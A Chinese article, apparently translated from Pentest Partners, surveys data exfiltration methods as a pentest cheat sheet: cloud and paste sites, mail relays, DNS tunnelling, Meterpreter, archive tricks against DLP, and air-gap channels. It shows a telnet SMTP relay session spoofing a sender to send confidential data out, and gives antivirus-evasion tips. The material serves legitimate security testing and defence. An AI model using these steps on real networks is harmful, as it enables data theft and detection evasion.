【防範資料竊取】從瞭解其手法做起
參考來源:pentestpartners
轉自:FreeBuf
編譯:secist
資料竊取是針對組織攻擊鏈中的最後一個階段。攻擊者竊取資料的技術可謂花樣百出,網上也有大量關於資料竊取方面的技術文件以及工具。本文的目的就是儘可能的將這些技術整合起來,以作為大家日後滲透測試時的一個CheatSheet使用。
工欲善其事必先利其器,防範資料竊取必須先熟悉其使用的手段。文中所提及的大多數技術涉及直接的內部到外部資料竊取。需要說明的是這並不是一個完整版本,如果你知道的更多,那麼請在評論處留言並告知我們!
Web
許多企業都沒有在合適的地方設定任何型別的web代理這對於攻擊者而言將會是個很好的機會。
Anon paste站點例如pastebin甚至是github,都為我們提供了一個數據竊取的簡易通道。許多技術組織通常都會允許Github的使用。
如果有代理和過濾,你可能就需要花點心思了,但許多常見網站都會允許使用Dropbox,Google Drive和Box等,特別是那些有云外包服務的企業。
許多站點出於某些原因並未啟用TLS,這很容易導致中間人攻擊。因此,如果你的站點沒有啟用https,那麼可以使用用Let’s Encrypt為你的站點免費加密。
即使啟用了類似Websense這樣的功能,很多類別也不能用於完整的TLS檢查——比如財務和醫療——僱員隱私。許多分類系統允許你根據自己的實際情況設定分類,因此攻擊者只要做好預先計劃,例如建立一個醫療站點就可能輕鬆繞過過濾機制。
Flickr和YouTube是否可以訪問? 如果可以的話,則可以使用這些服務暫存相對較大的檔案,包括使用隱寫術。
也許你的企業擁有自己的可從Internet訪問的Web伺服器。那麼你可以想辦法拿下其中的一臺,來作為你進一步滲透的中轉站。
你是否可以訪問一些主要的網路郵件提供商 - 例如Gmail,Outlook.com等?如果你的目標企業有外包到Office 365或GSuite(檢查其MX或郵件頭),則更有可能實現此目的。
出站SMTP/POP3/IMAP是否可用。檢查加密以及未加密的埠 - 25/465/587,110/999,143/993。
是否存在錯誤配置的郵件中繼?是否可以通過欺騙內部地址來中繼到外部地址?(這也可在內網釣魚時用來繞過message hygiene過濾器 )
#telnet internal.smtp.local 25
HELO attacker
MAIL FROM:< [email protected]>
RCPT TO:<[email protected]>
DATA
Here is lots of confidential data
.
QUIT
如果郵箱遭到入侵(後釣魚利用),攻擊者可以將Outlook中的自動轉發規則設定為他們選擇的外部地址。通常這對於高價值目標非常有用。之後,我們可以使用相同的規則來刪除已傳送的專案,以覆蓋留下的痕跡。
Malware
Meterpreter是一種先進的,可動態擴充套件的有效載荷,它使用記憶體中的DLL注入階段,並在執行時通過網路擴充套件。它通過stager套接字進行通訊並提供全面的客戶端Ruby API。它包含命令歷史記錄,製表符完成,頻道等。https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/
要儘可能的避免殺軟和網路入侵檢測,你可以使用Metasploit中提供的編碼器(例如/shikata_ga_nai)。還有就是儘量不要將正在使用的payload,上傳到像VirusTotal這類的線上病毒掃描網站。因為一旦上傳你的payload就會被分享給所有的AV公司,並會在短時間內被防毒軟體查殺。https://www.offensive-security.com/metasploit-unleashed/msfencode/
協議濫用
FTP/SSH/SCP/SFTP可能被允許出站,因為它們經常被用作資料交換協議。客戶端工具也可以在系統上隨時使用,而無需下載其他二進位制檔案。
DNS Tunneling,是隱蔽通道的一種,通過將其他協議封裝在DNS協議中傳輸建立通訊。因為在我們的網路世界中DNS是一個必不可少的服務,所以大部分防火牆和入侵檢測裝置很少會過濾DNS流量。這裡推薦大家可以使用dnscat2。
一些IDS/IDP現在能夠發現DNS隧道,但經常錯過通過DNS TXT記錄傳送的資料。我們製作了一個工具你可以通過它來提供檔案:https://github.com/pentestpartners/Uninvited-Guest,還有一個早期的版本:https://github.com/pentestpartners/DNSTXT-encoder。
你可以嘗試原始TCP套接字。可能ICMP被允許出站(它是一種非常實用的診斷工具,在IPv6中很重要)- 但它很慢。https://github.com/sensepost/DET
我們可以使用secret_sender操縱IP資料包,通過其中一個協議(TCMP Echo Request,TCP SYN或UDP)傳送從命令列接受的訊息,將資料洩露到伺服器上。因為它看起來像是伺服器的正常資料包,因此它不會引起任何的懷疑。
Old-school port knocking(埠敲門)也是一種選擇:https://www.sans.org/reading-room/whitepapers/covert/portknockout-data-exfiltration-port-knocking-udp-37307
像bittorrent這樣的P2P協議是否可用?
如果HTTPS檢查沒有對外部和內部名稱做匹配性檢查,那麼可以嘗試通過Tor和domain fronting(域前置)來繞過過濾器。https://blog.didierstevens.com/2018/01/20/quickpost-data-exfiltration-with-tor-browser-and-domain-fronting/
許多即時訊息協議,如Skype,Facebook Messenger和IRC也可以被利用。就拿我當前所在的企業來說,我們使用的是Skype for Business並且還啟用了federation。https://www.sans.org/reading-room/whitepapers/covert/skype-data-exfiltration-34560
NTP和BGP協議通常也被允許,可以濫用它們來洩露資料。https://www.darknet.org.uk/2016/11/pyexfil-python-data-exfiltration-tools/
遠端桌面通常可用於對映磁碟和剪貼簿,即便被限制,我們也可以使用PTP Rat通過顯示器畫素值來洩露資料。
X509證書可以被嵌入到二進位制資料中,因此可用於傳輸資料。https://github.com/fideliscyber/x509
Internal Staging
WMI呼叫可用於啟動傳輸,設定ADS或採用卷影拷貝來隱藏staging系統上的資料。https://github.com/secabstraction/WmiSploit
Windows BITS可用於傳輸排程或涓流傳輸資訊,以避免觸發“top talkers”觸發器。
檔案型別
對於一些安裝了DLP(資料洩露防護系統)的企業,我們可以嘗試將資料封裝在以下檔案型別來繞過DLP:
Zip
加密 (AES) Zip
深度巢狀 Zip(許多系統會在10-100層之後停止掃描,以避免Zip炸彈)
7zip
RAR
CAB
Tar (+/- gzip)
WIM image
物理
如果攻擊者或惡意的內部工作人員具有物理訪問許可權,那麼我們又該怎麼做?
檢查筆記本USB插口是否已鎖定,MP3播放器和智慧手機。是否已設定僅允許授權USB連線選項。
可以將資料儲存在CD和DVD中,相較於USB它們更難以洩露資料。
筆記本上的資產貼紙,是否有任何洩露資訊?行動式裝置是否具有完全的磁碟加密?垃圾箱或是在eBay上是否有處理不當的機器?
許多企業都擁有自己的印表機,印表機的功能也非常的齊全,例如檢索之前的列印任務,甚至可以通過傳真線傳輸資料。http://seclists.org/bugtraq/2016/Sep/54
公司的Wi-Fi是否安全?是否使用了不安全WPA-PSK加密。訪客Wi-Fi網路是否與企業主要網路充分隔離?企業系統是否被允許連線到訪客Wi-Fi?
攻擊者是否可以利用弱邊緣埠安全性在網路上植入裝置,例如具有自己的蜂窩帶外命令連線的Raspberry Pi?
網路攝像頭
手機
硬拷貝
隔離網路
在網路隔離的情況下,可以針對藍芽裝置發起攻擊,例如控制裝置或在裝置範圍內傳播惡意軟體等。https://blog.malwarebytes.com/cybercrime/2017/09/blueborne-bluetooths-airborne-influenza/
PC揚聲器:主要利用特定的音訊晶片功能,將輸出音訊插孔轉換成輸入插孔,從而將連線的揚聲器有效地轉換為(非傳統)麥克風。感染air-gapped計算機的惡意軟體可以將本地儲存的檔案轉換成音訊訊號,並通過連線的揚聲器、耳機或耳塞將它們傳送到附近的另一臺計算機裝置。具體可參考:https://thehackernews.com/2018/03/air-gap-computer-hacking.html
LED燈:硬碟上的LED指示燈也是個很好的突破口,它每秒最多能閃爍6000次。因此,黑客可以藉助這些閃爍遠端獲取資料。https://www.wired.com/2017/02/malware-sends-stolen-data-drone-just-pcs-blinking-led/
磁:ODINI和MAGNETO攻擊可以利用計算機處理器產生的磁訊號來竊取資料。磁訊號可以通過讀寫硬碟驅動來產生。由於該攻擊為低頻磁場,因此可以繞過法拉第遮蔽。
電力線:通過電力線從隔離計算機中提取資料。
“Fansmitter”- 佔用計算機的風扇並修改其轉速以控制產生的聲音。https://www.technologyreview.com/s/601816/how-fansmitter-malware-steals-data-from-air-gapped-computers/
相關推薦
【防範資料竊取】從瞭解其手法做起
參考來源:pentestpartners轉自:FreeBuf編譯:secist資料竊取是針對組織
【機器學習基礎】從感知機模型說起
感知機(perceptron) 感知器(perceptron)1957年由Rosenblatt提出,是神經網路與支援向量機的基礎。感知器是二類分類的線性分類模型,其輸入為例項的特徵向量,輸出為例項的類別,取+1和-1二值。感知機對應於輸入空間(特徵空間)中將例項劃分為正
【R語言資料型別】深入瞭解 向量、矩陣、資料框、列表
R語言資料型別有向量、矩陣、資料框、列表。下面我們來深入瞭解下: vector 的劃分 R中的vector分為兩類,atomic和list,二者的區別在於,前者元素型別必須相同,後者可以不同。前者的代表是向量和矩陣,後者的代表是list和資料框。 建立
【大資料部落】r、 weka從決策樹模型看員工為什麼離職?
馬雲說:“員工離職的原因總是隻有兩個:錢,沒有到位;心委屈了。” 現在很多老闆都抱怨說,年輕人的流動率太高了,員工覺得老闆的錢太少了,最後還是多指責。 為什麼我們最好和最有經驗的員工過早離職? 到底如何解決這個困境? 拓端資料tecdat使用資料分析員工離開的原
【SSH學習筆記】—從配置Struts1環境到簡單實例
swa void tro 介紹 -s exceptio art error con 以下我將從一個簡單點的計算器實例,介紹struts1的環境配置,以及其重要的兩個核心類:ActionForm和Action 簡單計算器實現思路: 1.提供一個輸入界面,
【許曉笛】從零開始運行EOS系統
EOS 系統 nodeos keos 復習一下上次文章的內容,EOS 系統主要有三個應用程序:nodeos: EOS 系統的核心進程,也就是所謂的“節點”。cleos:本地的命令行工具,通過命令行與真人用戶交互,並與節點(nodeos)和錢包(keosd)通信。是用戶或者開發者與節點進程交互的橋梁
【ASP.NET Core】從向 Web API 提交純文本內容談起
文本 .text prot 實例 out 示例 問題 img anr 前些時日,老周在升級“華南閑腎回收登記平臺”時,為了擴展業務,尤其是允許其他開發人員在其他平臺向本系統提交有關腎的介紹資料,於是就為該系統增加了幾個 Web API。 其中,有關
【mysql學習二】——從架構到基本配置講解
前言 雖然不是DBA,但是瞭解mysql的一些基本知識對於我們提高自身水平和提高書寫sql語句效能有幫助! 內容 1.配置檔案: 檔名稱 作用 二進位制日誌log-bin 用於主
【網際網路那些事】——從3Q大戰到3B大戰
相報何時了,網際網路大戰從網際網路出現幾乎就一天沒消停過,國內的網際網路巨頭們為了搶佔各個行業的市場,都不得不使出自己的看家本領。奇虎360更是拿出不贏官司不罷休的決心,跟這家打完跟那家打,但至今還
【WXS資料型別】Number
Number包括整數與小數。 屬性: 名稱 返回 說明 [Number].constructor 值為字串“Number” 返回該型別的結構字串 方法: 原型:[Number].to
【WXS資料型別】String
屬性: 名稱 值型別 說明 [String].constructor [String] 返回值為“String”,表示型別的結構字串 [String].length [Number]
【WXS資料型別】Function
屬性: 名稱 值型別 說明 [Function].constructor [String] 返回值為“Function”,表示型別的結構字串 [Function].length [Number]
【WXS資料型別】RegExp
生成 regexp 物件需要使用 getRegExp函式,注意與JS的使用方法不同( new RegExp(pattern,modifiers);) 原型:getRegExp(pattern, modifiers); 返回:正則物件 引數: pattern [必需] 字串或正則表
【Leetcode周賽】從contest-81開始。(一般是10個contest寫一篇文章)
Contest 81 (2018年11月8日,週四,凌晨) 連結:https://leetcode.com/contest/weekly-contest-81 比賽情況記錄:結果:3/4, ranking: 440/2797。這次題目似乎比較簡單,因為我比賽的時候前三題全做出來了(1:12:39),然後第
【React 實戰教程】從0到1 構建 github star管理工具
前言 在日常使用github中,除了利用git進行專案版本控制之外,最多的用處就是遊覽各式的專案,在看到一些有趣或者有用的專案之後,我們通常就會順手star,目的是日後再看。但是當我們star了許多專案之後,回過頭想找一個的專案就會發現,很難在短時間內找到它,官方也並沒有提供很好的管理我們的star專案的功
【Python-資料讀取】讀取txt檔案每一行資料生成列表
好多時候我們要讀取txt檔案獲得資料,並把資料的按行或者按列存放到列表中,從而生成特徵和類別標籤。今天讀了好幾個都沒有成功,最後發現,資料間的分隔符十分重要,總結一下經驗。 資料間的分隔符是空格 讀取的程式碼如下所示: file=open('ll.txt') dataM
【多資料中心】分散式資料同步設計方案
介紹 JD_databus是為滿足多資料中心專案的mysql在資料中心間複製的需求所產生的。最開始JD_databus是在LinkedIn的databus的基礎上開發的,本次設計考慮到可維護性、程式碼的簡潔、需求的快速迭代,決定重新開發。設計
【元資料管理】Atlas術語(Glossary)
Atlas的術語表(Glossary)提供了一些適當的“單詞”,這些“單詞”能彼此進行關連和分類,以便業務使用者在使用的時候,即使在不同的上下文中也能很好的理解它們。此外,這些術語也是可以對映到資料資產中的,比如:資料庫,表,列等。 術語表抽象出了和資料相關的專業術語,使得使用者能以他們更熟悉的方式去查詢和
【轉】幹貨 | 【虛擬貨幣錢包】從 BIP32、BIP39、BIP44 到 Ethereum HD Wallet
建議 比較 以及 master www issue count use strip 虛擬貨幣錢包 錢包顧名思義是存放$$$。但在虛擬貨幣世界有點不一樣,我的帳戶資訊(像是我有多少錢)是儲存在區塊鏈上,實際存在錢包中的是我的帳戶對應的 key。有了這把 key 我就可以在虛
【圖解資料結構】 一組動畫徹底理解二叉樹三種遍歷
二叉樹的遍歷是指從根結點出發,按照某種次序依次訪問二叉樹中所有結點,使得每個結點被訪問一次且僅被訪問一次。 在二叉樹的遍歷中存在三種較為常用的遍歷方式:前序遍歷、中序遍歷、後序遍歷。接下來我將嘗試著用三組動畫向讀者詳細的介紹這三種遍歷方式的邏輯思路,希望讓讀者看到任何的二叉樹都能在腦海中快速的勾勒出動畫。